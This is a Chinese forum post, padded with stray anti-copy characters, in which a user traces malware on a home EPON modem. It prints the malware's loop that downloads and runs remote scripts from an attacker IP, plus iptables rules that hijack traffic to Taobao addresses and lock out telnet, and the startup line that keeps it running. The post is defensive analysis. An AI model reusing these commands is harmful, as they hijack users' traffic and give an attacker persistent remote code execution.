|
本帖最后由 xzhower 于 2015-12-28 22:23 编辑 + ~6 l; _/ s& S3 u2 t' ~
8 J7 r Y6 @, z+ i. s6 y: Y
最近发现家里上网特别慢,经常打不开网页,排查两天发现是家里EPON的Modem(型号RG200O-CA)被黑了。* l r8 a" F6 A" {0 b9 |
6 f) J: u, m1 p" {! {3 q0 n
m) \, i$ x' |" Y+ Btelnet进入Modem,检查系统文件,突然telnet中断,无法再telnet。断电重启,可以telnet进去,过一会儿还是telnet会中断。遂断开光纤,此时telnet正常,不再发生中断现象,初步判断telnet中断现象与上网状态有关。怀疑是Modem被木马感染。反复PS检查当前进程信息,突然发现一行可疑信息:* M; r4 z" r6 [0 c
( f O; ]4 C% I6 Z3 l: A$ l7 I8 j' ~% G( a) S' ]: T/ C S
......
$ I% w* T& G* P! ywget -q -P /tmp http://koudaiba.sinaapp.com start.sh# Q- e/ \1 [% M0 g6 `
......
* e U. I0 ?& R7 V
1 V& E- a5 t: \ j | ( m' o. G7 @+ F; @$ Z( h- x% k- W( n
. ]# t2 W& ^/ o( m5 q6 p. ]7 t5 {3 _此前因为仔细研究过这台Modem,开启了路由功能,并成功编译上传了一个打印服务器的程序,对这个Modem的系统比较了解,从未出现过这样的信息,因此可以断定确实是Modem受到了感染。/ y+ `3 c) d$ N. k
经过搜索,上面的那行命令是通过/home/sh.sh启动的,查看/home/sh.sh内容如下:
0 Z1 j( h' j0 {
1 N9 c4 p" X+ z6 l1 L
( z, Y- M* m# U F- ^" x# cd /home% m; l" A' Q" n2 S( _% y
# ls -l
% _& v, u4 ?# P3 O. q-rw-r--r-- 1 admin root 466 Nov 23 07:26 sh.sh <-------------< 11月23日就被感染了5 U9 b1 Z8 [+ b7 X7 P* ]$ |5 Y
# cat sh.sh
4 a9 _: r) Z" h+ q$ x2 m#!/bin/sh, S4 Z* x- W; g# T0 u
while true
: k! V K6 _" |3 o% @% ldo
; o n t3 A8 X/ c, t& l& Vsleep 100
2 b' P" J3 N6 c$ [# W& Q8 Twget -q -P /tmp http://59.56.68.183:20011/start.sh || wget -q -P /tmp http://koudaiba.sinaapp.com/start.sh || wget -q -P /tmp http://abcdabcdabcdabcdabcd.com/start.sh && sh /tmp/start.sh && while true
# O- d: ^4 ^! s" ~8 Qdo% [6 Z+ o) C& I1 ]3 H( \
wget -q -P /tmp http://59.56.68.183:20012/while.sh || wget -q -P /tmp http://koudaiba.sinaapp.com/while.sh || wget -q -P /tmp http://abcdabcdabcdabcdabcd.com/while.sh || sleep 43200 && sh /tmp/while.sh || sleep 43200
' U% ]4 E0 Y) u3 w% R4 {2 ^done% s+ o9 ]* _3 m, E$ a o6 r
done
) j1 b1 g! X; Y# V8 u9 L1 y. _, V. }
|
$ N: k/ Q& w7 a' Q9 Dhttp://59.56.68.183:20011, http://koudaiba.sinaapp.com/,http://abcdabcdabcdabcdabcd.com/
0 k. w- U2 I' o3 Z7 z L可以看到木马程序从三个网站下载shell脚本并反复循环执行,好吧,我也下载下来看看里面什么东东 O6 m4 B; a( E7 a6 Q7 {2 t1 i
* Y; V' y7 c# a8 K# O
9 u1 H1 ^! ` E% @. e5 z1 y5 @1 w& ]. \# j
#!/bin/sh for ip in"140.205.140.188" "110.75.96.102" "106.39.164.154" "140.205.142.214" "140.205.135.67" "140.205.164.96" "140.205.250.86" "110.75.206.8" "140.205.140.76" "140.205.32.93" "140.205.243.65" "140.205.170.51" "140.205.134.199" "140.205.230.37" "140.205.250.42" "110.75.96.109";do iptables -t nat -D PREROUTING -p tcp -d $ip --dport 80 -j DNAT --to-destination 59.56.68.183:20002 iptables -t nat -I PREROUTING -p tcp -d $ip --dport 80 -j DNAT --to-destination 59.56.68.183:20002 done for ip in"120.24.0.0/14" "121.40.0.0/14" "119.28.0.0/15" "203.195.128.0/17" "115.28.0.0/15" "114.215.0.0/16" "120.55.0.0/16";do iptables -t nat -D PREROUTING -p udp -d $ip --dport 53 -j DNAT --to-destination 114.114.114.114 iptables -t nat -I PREROUTING -p udp -d $ip --dport 53 -j DNAT --to-destination 114.114.114.114 done iptables -D INPUT ! -s 59.61.121.0/24 -p tcp --dport 23 -j DROP iptables -I INPUT ! -s 59.61.121.0/24 -p tcp --dport 23 -j DROP sleep 86400 |
6 O$ V$ _5 Q' j2 X0 V$ h( M看到一串IP地址,后面又设置了防火墙规则。最后面的两条太显眼,就是只允许指定的网段能够telnet控制我的Modem,我之前的telnet中断现象就是它干的。
$ t! d- t7 U# u/ J) O前面两条规则是把对上面那些IP TCP 80端口的访问数据全部转发到了59.56.68.183的20002端口;
/ Z3 K' o1 t$ \7 L中间的两条规则是把对中间那段IP地址段的DNS访问全部转发到了114.114.114.114貌似这没有太大的危害。; p' G \6 g0 h) b6 ]
那就再来看看一开始的哪些IP地址是谁的吧,随便找个IP地址试试:* p1 x# S9 r) o# B9 ]3 X
% h/ {7 d, O* x5 K, j/ ]' v
% x) b# c j i
C:\>telnet 140.205.140.188 804 J& U* _6 e( Y7 }8 h* d; ^
GET / HTTP/1.0
$ }$ N$ ]; n; o8 h) z4 b
" ]; m0 n6 y* v/ [5 O; Z! U* v$ I4 ^/ X! n1 w, m
1 ~! G6 k' R8 w4 H, I4 f2 c+ C2 q" ZHTTP/1.1 302 Found% k) [- X1 b4 T, j! I
Server: Tengine
R" | z, o( o$ ^& y+ f; ?7 VDate: Sat, 26 Dec 2015 15:04:00 GMT
1 p% }1 p) ]4 b' ]Content-Type: text/html6 f. t6 R8 M8 m: p3 ^' b
Content-Length: 258
, _& C0 a) s1 t$ x9 eConnection: close7 r A" v* P2 F' H& ^; I$ {
Location: http://www.taobao.com/+ L: j7 j# o* _! v' P% F+ |
Via: ad052071.et2[web,302]
: ]+ a9 \' ?: b- ?6 i* u# k
0 x/ K: H8 P6 f Z! L/ g8 X) Z; D4 M2 m" d7 z$ D- p& \0 L+ \
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
0 ~" z& ^2 J9 v) j6 J<html>
! P: A( `% D& E3 e: z8 Q<head><title>302 Found</title></head>
+ ?7 H: g+ ~$ H: t<body bgcolor="white">
% q" D( s# {' Q5 ~! B<h1>302 Found</h1>
C# g8 l7 V! Z# f# w5 V<p>The requested resource resides temporarily under a different URI.</p>2 g) H- O c$ S+ Q; \8 l
<hr/>Powered by Tengine</body>7 p/ q% I8 P( W/ k- M3 e
</html>
+ d; n) B0 ]; `" k) U% p# D( e8 i2 ~ m1 v( w7 N& e! r
" ]( ]' P1 S+ @; T1 D" L |
$ r/ l' ^4 X& u, _5 ~# V5 L8 j乖乖,居然是淘宝的IP,原来这个木马劫持了淘宝的IP,受害的用户不知不觉就连到了木马控制人的服务器上,真是吓死宝宝了。到百度一搜,那些IP地址大都是阿里巴巴的。
$ R. i q" X/ V而木马控制人的服务器IP59.56.68.183是福建某地的。
' K. {% w* \2 R o1 U4 d6 }
* F. n7 ]" L+ ^; P/ X9 X" \回头再来看看木马程序是如何启动的,查到/etc/有个rc_vtp2.0
8 M+ d7 X! ?: P+ g5 h: t9 U( W-r-xr-xr-x 1 admin root 545 Nov 23 07:26 rc_vtp2.0
: o2 {9 e8 z, M' j看看它的内容:
- K9 U2 Q: F7 q4 w( [. _
7 J! l! _* h+ G1 i
& X/ R( V4 q5 V( v; D# cat rc_vtp2.0
; q7 o4 j+ q9 P: R#!/bin/sh8 _% ]5 i# d" R% q! X
1 J6 z1 b3 r4 d0 L1 U
7 g9 ?$ e* l" l$ Kmkdir /var/tmp/tftp0 x; S6 @: O7 @ J Z6 u. h
mkdir /var/config
, y( I# q) @( M# G& Z/ kmkdir /var/ctc+ d ?) z9 n0 [4 Q; R% a; A
1 p& n9 H1 `8 [& {$ @0 z& {0 v
: m' E5 r0 ~: z8 h. u
mkdir /var/net-snmp$ j7 Q9 i8 E5 y8 n6 P& T
mkdir /var/syslog: E( w/ {! s' t/ Y4 E- k" q
' i; |. Y0 }1 }6 c
" o5 ]! W) `( y& s
/usr/sbin/lightbox
$ C3 K3 ]% @* r: o! R6 t7 z' t7 [7 Z) A
: U L5 m$ d0 I3 H: \4 q6 d# enhanced the logic unix/inet socket buffer and backlog* g4 H1 f/ p$ T' L* D0 k) _
echo -n "max_dgram_qlen is changed from "; U4 f1 ~6 [/ {
cat /proc/sys/net/unix/max_dgram_qlen > /dev/console. w7 F9 f$ y. a1 ?) l
echo 100 > /proc/sys/net/unix/max_dgram_qlen8 r j6 V$ v+ b. c/ k: B* Q* S
echo -n "to "
" S1 N. d) ?' k* \5 k$ J& J' Ecat /proc/sys/net/unix/max_dgram_qlen > /dev/console/ @. |! x- u8 Z* ^/ I8 W1 R$ F
echo -n "change the socket recv buffer uplimit to 512k"
) j; a4 m" |, Xecho "524288" > /proc/sys/net/core/rmem_max6 r, t2 T9 z' W# N( n
# B j- ~( C8 O- H( v8 m4 J- j( c1 H/ z
sleep 1& T! y2 Z3 e/ I. O2 J Q
- I0 p0 l8 D" Q/ f3 K3 ~
: m5 J! ]6 u! `cm_logic&
$ p W7 v5 p" G9 k. L
; I' m# }+ c* R' i7 g; a1 ^
; d& ~/ S; j/ _' Jsleep 1
6 X6 d9 B( t% p+ c0 ~8 p( V
) T+ n8 H& I0 ~! v, ^ s8 T
2 P' [; W) @4 R" T# X* gsyslogd &2 q% P+ D' D8 z3 y; h9 x+ l3 y
4 G; `& ~9 W" R# [/ W! o/ r
4 x. w7 G& n; [2 Ush /home/sh.sh&" Y+ n" c+ I# E2 X% P+ H
5 C! H7 n1 d. {4 Y( A1 a! i# f* W' n& R# `$ o. e9 _: L; }2 O$ a
| & _) A1 s8 y- y* f s
8 I- V4 ]" {- I0 h5 ^; X在最后多了一句,之前的内容可能是原来就有的,因为之前没有备份过系统文件,所以不好判断。
6 Z* ~- T) e. G( R% P6 x再看看rc_vtp2.0是在哪儿启动的,只在/etc/profile中有一句
, z7 |% z2 U# s) a2 @: x! h7 ]: A1 A* e+ U8 n$ W" n" e4 B8 T
! Q# Q, G R h
......% ?( I! g: _( h+ ^- s( W9 j0 T
/etc/rc_vtp2.0; ^3 L- {$ `" q5 @3 \
: J8 x2 T6 z/ Q: C J6 H& y8 c
......6 S% Z3 h, G. E- ~7 i7 U
| 6 t" f2 P0 t% Q9 ~" R8 ^
. c, Z B/ o5 b
这就奇怪了,按理/etc/profile只有在有人登录之后才会执行,是不是还有另外的地方启动呢?; V" T7 c( D* M5 a2 q+ H; C% E7 `
' o3 i, A) @. Q7 s# V0 b- `% ]( c
( D% E9 t# q" S n+ z) g先赶紧把这些木马文件干掉,回头继续查。
. J& m! d U+ m1 l: v3 |2 t
e" o$ s6 i. e4 S" x! T2015.12.26 23:19 P8 O2 \" M/ L
1 x7 F) ~. h: `: L$ H3 U( `2 e2 s6 \3 l4 B
! {) V+ H! x, X6 x
|
|